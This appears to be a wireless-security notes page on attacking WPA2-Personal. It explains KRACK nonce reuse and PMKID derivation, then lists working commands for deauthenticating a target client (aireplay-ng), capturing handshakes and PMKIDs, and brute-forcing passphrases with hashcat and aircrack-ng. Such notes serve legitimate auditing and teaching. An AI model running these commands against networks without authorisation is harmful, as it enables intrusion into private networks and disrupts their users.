Link to this headingWPA2 Personal

  • Also known as WPA2-PSK (Pre shared key)
  • Uses [AES](/Crypto/Symmetric Encryption/AES) with Counter Mode Cipher Block Chaining Message Authentication Code Protocol (CCMP)
    • AKA [CCM](/Crypto/Symmetric Encryption/Block Ciphers/CCM) mode (Counter with CBC-MAC)

Link to this headingSecurity

  • Must bruteforce the 4way handshake due to nonces
  • Uses SSID as a salt

Deauthentication Attack

aireplay-ng mon0 -deauth 5 -a [BSSID] -c [target MAC]

Link to this headingNonce Reuse

By retransmitting Message 3 of the 4 way handshake the IV is reset to a known (null) or reused IV.

IV reuse can be used by taking a IV from one channel and respond on a different channel.

IV reuse can be done with Reinstallation attack where Message 4 of the 4 way handshake is encrypted. Since this is prohibited by the spec the next data frame that is sent will reuse the IV.

Key Re-installation Attacks - Breaking WPA2 by forcing nonce reuse
Key Re-installation Attacks - PoC
Falling through the KRACKs

  • Can replay packets because the counter is reset to 0
  • Wpa supplicant refers to zeroed data for key reinstalation attacks. This makes the key all zeros

Link to this headingCapturing

Link to this headingPMKID with wifite

>>> sudo wifite . . .´ · . . · `. wifite2 2.7.0 : : : (¯) : : : a wireless auditor by derv82 `. · ` /¯\ ´ · .´ maintained by kimocoder ` /¯¯¯\ ´ https://github.com/kimocoder/wifite2 [+] Using wlan0mon already in monitor mode [...] [+] Select target(s) (1-63) separated by commas, dashes or all: all [+] (1/63) Starting attacks against {REMOVED_SSID} (ESSID unknown) [+] unknown (99db) PMKID CAPTURE: Waiting for PMKID (4m6s)

Link to this headingPMKID

PMKID is an ID that is sent out every couple of minuets which is a SHA1-HMAC of PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA). The only Unknown is the PMK which can be calculated with a PBKDF PMK = PBKDF2(Passphrase, SSID, 4096)

Capture and Break hash:

#Get PCAP Info hcxdumptool -w test.pcap #Extract Hashes from pcap hcxpcapngtool -o hcx_hashes test.pcap #Crack with hashcat #hashcat -m 22000 -a 3 hcx_hashes ?d?d?d?d?d?d?d?d #Convert hashcat to john hcxhashtool -i hcx_hashes --john hcx_john

Link to this headingCapturing the 4way handshake (Old way)

Capture Handshake:

#Start Monitor mode >>> sudo airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 iwlwifi Intel Corporation Wireless 7265 (rev 59) (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) #Capture on monitor interface sudo airodump-ng wlan0mon #Capture specific Accesspoint to File sudo airodump-ng --bssid <Hardware Address of Access Point> -c <Channel> --write <Output File> wlan0mon #Capture all AP to file

Crack with Hashcat:

#Convert capture file cap2hccapx capture-01.cap capturefile-01.hccapx #Cracking time hashcat64 -m 2500 -a 3 -1 ?d -o cracked capturefile-01.hccapx 555?1?1?1?1?1?1?1

Link to this headingCracking

To crack WPA/WPA2 from airolib-ng database

aircrack-ng -e <essid> -r <database> <.cap or .ivs file(s)>

To crack WPA/WPA2 from a wordlist

aircrack-ng -e <essid> -w <wordlist> <.cap or .ivs file(s)>`

To crack a given bssid

aircrack-ng -b <bssid> -l <output file> <.cap or .ivs file(s)>`

To crack a given bssid using FMS/Korek method

aircrack-ng -K -b <bssid> <.cap or .ivs file(s)>`